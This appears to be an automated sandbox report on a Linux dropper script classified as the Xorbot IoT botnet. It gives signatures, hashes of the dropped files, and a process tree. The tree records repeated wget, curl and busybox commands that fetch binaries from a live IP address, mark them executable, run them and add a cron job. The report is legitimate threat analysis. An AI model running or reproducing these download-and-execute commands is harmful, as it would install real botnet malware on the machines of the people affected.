Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17/01/2025, 01:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250117-b4nv7synbk
  • SHA256 165aceccc598bd956badaab6838409c86c22f96b9a8fcfdaaca334e8ea522d80
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1828) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1507
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1508
        • /usr/bin/wget
          wget http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /bin/chmod
          chmod 777 pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • File and Directory Permissions Modification
          PID:1516
        • /tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          ./pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Executes dropped EXE
          PID:1517
        • /bin/rm
          rm pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
            PID:1519
          • /usr/bin/wget
            wget http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/chmod
            chmod 777 4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • File and Directory Permissions Modification
            PID:1523
          • /tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            ./4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Executes dropped EXE
            PID:1524
          • /bin/rm
            rm 4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
              PID:1526
            • /usr/bin/wget
              wget http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Writes file to tmp directory
              PID:1527
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Writes file to tmp directory
              PID:1528
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Writes file to tmp directory
              PID:1529
            • /bin/chmod
              chmod 777 SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • File and Directory Permissions Modification
              PID:1530
            • /tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              ./SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Executes dropped EXE
              PID:1531
            • /bin/rm
              rm SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
                PID:1533
              • /usr/bin/wget
                wget http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Writes file to tmp directory
                PID:1536
              • /bin/chmod
                chmod 777 2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • File and Directory Permissions Modification
                PID:1537
              • /tmp/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                ./2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Executes dropped EXE
                PID:1538
              • /bin/rm
                rm 2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                  PID:1540
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1541
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1542
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1543
                • /bin/chmod
                  chmod 777 nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1544
                • /tmp/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  ./nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:1545
                • /bin/rm
                  rm nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • System Network Configuration Discovery
                  PID:1547
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  2⤵
                  • Writes file to tmp directory
                  PID:1550
                • /bin/chmod
                  chmod 777 X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1551
                • /tmp/X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  ./X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  2⤵
                  • Executes dropped EXE
                  PID:1552
                • /bin/rm
                  rm X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                  2⤵
                    PID:1554
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    2⤵
                    • Writes file to tmp directory
                    PID:1555
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    2⤵
                    • Writes file to tmp directory
                    PID:1556
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    2⤵
                    • Writes file to tmp directory
                    PID:1557
                  • /bin/chmod
                    chmod 777 x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1558
                  • /tmp/x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    ./x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    2⤵
                    • Executes dropped EXE
                    PID:1559
                  • /bin/rm
                    rm x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                    2⤵
                      PID:1561
                    • /usr/bin/wget
                      wget http://94.154.35.94/bins/pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      2⤵
                      • Writes file to tmp directory
                      PID:1562
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      2⤵
                      • Writes file to tmp directory
                      PID:1563
                    • /bin/busybox
                      /bin/busybox wget http://94.154.35.94/bins/pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      2⤵
                      • Writes file to tmp directory
                      PID:1564
                    • /bin/chmod
                      chmod 777 pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1565
                    • /tmp/pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      ./pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      2⤵
                      • Executes dropped EXE
                      PID:1566
                    • /bin/rm
                      rm pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                      2⤵
                        PID:1568
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        2⤵
                        • Writes file to tmp directory
                        PID:1569
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        2⤵
                        • Writes file to tmp directory
                        PID:1570
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        2⤵
                        • Writes file to tmp directory
                        PID:1571
                      • /bin/chmod
                        chmod 777 609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1572
                      • /tmp/609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        ./609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        2⤵
                        • Executes dropped EXE
                        PID:1573
                      • /bin/rm
                        rm 609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                        2⤵
                          PID:1575
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          2⤵
                          • Writes file to tmp directory
                          PID:1576
                        • /usr/bin/curl
                          curl -O http://94.154.35.94/bins/rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          2⤵
                          • Writes file to tmp directory
                          PID:1577
                        • /bin/busybox
                          /bin/busybox wget http://94.154.35.94/bins/rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          2⤵
                          • Writes file to tmp directory
                          PID:1578
                        • /bin/chmod
                          chmod 777 rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1579
                        • /tmp/rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          ./rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          2⤵
                          • Executes dropped EXE
                          PID:1580
                        • /bin/rm
                          rm rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                          2⤵
                            PID:1582
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            2⤵
                            • Writes file to tmp directory
                            PID:1583
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            2⤵
                            • Writes file to tmp directory
                            PID:1584
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            2⤵
                            • Writes file to tmp directory
                            PID:1585
                          • /bin/chmod
                            chmod 777 gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1586
                          • /tmp/gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            ./gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            2⤵
                            • Executes dropped EXE
                            PID:1587
                          • /bin/rm
                            rm gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                            2⤵
                              PID:1589
                            • /usr/bin/wget
                              wget http://94.154.35.94/bins/YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                              2⤵
                              • Writes file to tmp directory
                              PID:1590
                            • /usr/bin/curl
                              curl -O http://94.154.35.94/bins/YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                              2⤵
                              • Writes file to tmp directory
                              PID:1591
                            • /bin/busybox
                              /bin/busybox wget http://94.154.35.94/bins/YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                              2⤵
                              • Writes file to tmp directory
                              PID:1592
                            • /bin/chmod
                              chmod 777 YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1593
                            • /tmp/YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                              ./YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:1594
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:1596
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:1597
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:1598
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        PID:1599
                                  • /bin/rm
                                    rm YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                                    2⤵
                                      PID:1601
                                    • /usr/bin/wget
                                      wget http://94.154.35.94/bins/sbqS9wF33yUwDiiNEFBqaRuNZNSSakkQl6
                                      2⤵
                                        PID:1604

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T

                                          • Path /tmp/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP

                                          4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP

                                          • Path /tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88

                                          • Path /tmp/609mAgqoi8KgRPd8Tp43KZbgO6xxTcKj88
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck

                                          • Path /tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
                                          • Size 107KB
                                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                          • MD5 SHA1 SHA512 SSDEEP

                                          X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4

                                          • Path /tmp/X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          YubwVqper2xe2veY8JwZORNaO03w3fP7GA

                                          • Path /tmp/YubwVqper2xe2veY8JwZORNaO03w3fP7GA
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ

                                          • Path /tmp/gDJFwqASqSxSEfXczQ8j9DG01F9tz66elJ
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2

                                          • Path /tmp/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS

                                          • Path /tmp/pFyZNOkZ6XiR9dq9PlULvmxu1U0aMAbKKS
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP

                                          pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g

                                          • Path /tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
                                          • Size 151KB
                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                          • MD5 SHA1 SHA512 SSDEEP

                                          rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1

                                          • Path /tmp/rcD26TCbebnSowQzY0tmR0XWrqDK412Gu1
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          x7141n888vWtSu2EDSFJyhe07gvZZQwLEp

                                          • Path /tmp/x7141n888vWtSu2EDSFJyhe07gvZZQwLEp
                                          • Size 111KB
                                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.f0BnLr

                                          • Path /var/spool/cron/crontabs/tmp.f0BnLr
                                          • Size 210B
                                          • SHA256 07a0e715c76cf697a2e20803ca9d4ba122985678ab08391d5d0a124e96ff90b0
                                          • MD5 SHA1 SHA512